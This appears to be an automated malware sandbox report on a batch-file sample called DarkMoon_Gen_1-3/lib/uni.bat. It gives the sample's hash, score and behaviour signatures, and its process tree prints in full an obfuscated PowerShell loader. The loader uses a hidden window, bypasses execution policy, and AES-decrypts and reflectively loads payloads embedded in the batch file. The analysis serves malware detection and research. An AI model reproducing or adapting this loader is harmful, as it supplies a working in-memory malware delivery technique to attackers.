Analysis
- max time kernel
119s - max time network
120s - platform
windows7_x64 - resource
win7-20240508-en - resource tags
- submitted
02/06/2024, 14:55
General
- Target DarkMoon_Gen_1-3/lib/uni.bat
- Size 12.6MB
- Sample240602-sajstsfh86
- SHA256 9d0b440b61b239bc3406d67bf7ae8baf1ceef65923e8558ce3a3c1a3c4a5e22a
Score
7/10
Malware Config
Signatures
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe"uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function PCvVf($yFrQM){ $KryQB=[System.Security.Cryptography.Aes]::Create(); $KryQB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $KryQB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $KryQB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWxz9LOIFbVN1/7cN9UWMlncfIJFIhU1cXRWWiP9bXg='); $KryQB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EIdWPSRydSjZkTvenqbEOg=='); $TSyON=$KryQB.CreateDecryptor(); $return_var=$TSyON.TransformFinalBlock($yFrQM, 0, $yFrQM.Length); $TSyON.Dispose(); $KryQB.Dispose(); $return_var;}function DJYpo($yFrQM){ $rdKbv=New-Object System.IO.MemoryStream(,$yFrQM); $nDivC=New-Object System.IO.MemoryStream; $KhHzB=New-Object System.IO.Compression.GZipStream($rdKbv, [IO.Compression.CompressionMode]::Decompress); $KhHzB.CopyTo($nDivC); $KhHzB.Dispose(); $rdKbv.Dispose(); $nDivC.Dispose(); $nDivC.ToArray();}function mCQbd($yFrQM,$cFYDO){ $nHpHM=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$yFrQM); $KnSYu=$nHpHM.EntryPoint; $KnSYu.Invoke($null, $cFYDO);}$PdisG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat').Split([Environment]::NewLine);foreach ($gyYDO in $PdisG) { if ($gyYDO.StartsWith('SEROXEN')) { $UdMrg=$gyYDO.Substring(7); break; }}$ekLHX=[string[]]$UdMrg.Split('\');$HlrJz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[0])));$ejeLz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[1])));mCQbd $ejeLz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));mCQbd $HlrJz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
uni.bat.exe
memory/3060-5-0x000007FEF62BE000-0x000007FEF62BF000-memory.dmp
memory/3060-6-0x000000001B5C0000-0x000000001B8A2000-memory.dmp
memory/3060-7-0x000007FEF6000000-0x000007FEF699D000-memory.dmp
memory/3060-11-0x000007FEF6000000-0x000007FEF699D000-memory.dmp
memory/3060-10-0x000007FEF6000000-0x000007FEF699D000-memory.dmp
memory/3060-9-0x00000000021B0000-0x00000000021B8000-memory.dmp
memory/3060-8-0x000007FEF6000000-0x000007FEF699D000-memory.dmp
memory/3060-12-0x000007FEF6000000-0x000007FEF699D000-memory.dmp
memory/3060-13-0x000007FEF6000000-0x000007FEF699D000-memory.dmp